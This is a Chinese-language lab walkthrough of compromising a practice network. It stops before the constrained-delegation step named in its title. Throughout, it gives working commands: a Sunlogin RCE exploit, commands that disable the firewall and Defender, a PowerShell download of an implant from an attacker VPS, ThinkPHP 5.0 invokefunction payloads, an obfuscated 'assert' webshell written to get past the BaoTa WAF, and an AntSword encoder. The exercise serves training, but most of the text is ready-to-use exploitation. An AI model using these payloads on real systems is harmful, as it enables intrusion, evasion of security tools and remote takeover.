靶场｜宝塔绕过+约束委派=获取域控

admin

140916
文章

117
评论

2025年5月18日20:24:28评论0 views字数 3748阅读12分29秒阅读模式

靶场拓扑：

复现过程：

VM虚拟机搭建好后ping不通外网主机，开了防火墙这里利用goby扫全端口出来一个49685端口，访问试试

访问后显示Verification failure 这里判断可能存在向日葵客户端，尝试利用Exp:https://github.com/Mr-xn/sunlogin_rce

命令:xrkRce.exe -h 192.168.1.78 -t rce -p 49685 -c "whoami"

可以执行命令后先把防火墙关了：netsh firewall set opmode mode=disable

执行进程查看命令均失败可能存在杀软，进程也查看不了

这里利用一条命令:xrkRce.exe -h 192.168.1.78 -t rce -p 49848 -c "powershell ( new-object System.Net.WebClient).DownloadFile( 'http://IP/x64.exe' , 'C:UsersAdministratorx.exe' )"

把vps上的x.exe下载到指定目录下，注意马子需要做免杀

这里看到能直接下载下来我们的马子到目标电脑上了

执行命令成功上线cs，针对杀软还有一种思路，直接关闭defender

执行:reg add "HKEY_LOCAL_MACHINESOFTWAREPoliciesMicrosoftWindows Defender" /v "DisableAntiSpyware" /d 1 /t REG_DWORD /f 这条命令会报错原因是这里的双影号被闭合掉了，换一条命令直接能执行成功，命令如下：set-MpPreference -DisableRealtimeMonitoring $true

因为中间环境出了问题，直接反弹到msf开代理扫内网c段

这里是直接没有扫出来然后换思路，信息收集发现主机上存在的测试地址想着利用host碰撞

脚本地址:https://github.com/fofapro/Hosts_scan

命令:proxychains python3 IP_hosts_scan.py

这里成功访问到了www.cJO6w10YLS.com这个域名内，本地配置代理和host头访问

然后尝试弱口令没有进去想着会不会有sql注入也尝试了一下也不行

读了一下源码发现form表单未向后端传输数据，可见这里是一个假的login页面

在落地机火狐浏览器访问历史记录内发现/vulntarget/public目录本地尝试访问

thinkphp 5.0框架存在远程命令执行，尝试利用很多个rce payload都不行然后不是被上墙就是被拦截

然后换了个payload打过去显示出了宝塔的拦截页面

再打就上黑名单直接拉黑处理，当时头都大了

常见payload:?s=index/thinkapp/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami

由于这个system函数被禁用了执行不了命令然后尝试绕过宝塔

由于public这个目录一直显示权限不够想着可能是没有写入权限，那就多加个../写到上级根目录里面去，利用file_put_contents这个函数来写shell

payload:s=index/thinkapp/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=../../12345.php&vars[1][1]=<?php $poc ="axsxsxexrxt";$poc_1 = explode("x", $poc); $poc_2 = $poc_1[0] . $poc_1[1] . $poc_1[2] . $poc_1[3].$poc_1[4].$poc_1[5];$poc_2(urldecode(urldecode(urldecode($_REQUEST['12345']))));

这里对phpinfo()编码后一直执行不了命令，那直接写一个phpinfo上去看看

其实也没什么太大问题，那接下来就是getshell了，写上去一个马

马子内容:<?php @eval(base64_decode($_POST[mr6]));?>

利用蚁剑加载编码器：'user strict'; module.exports = (pwd, data, ext={}) => { data[pwd] = Buffer.from(data['']).toString('base64'); delete data['']; return data; }

客户端再做个body体伪造：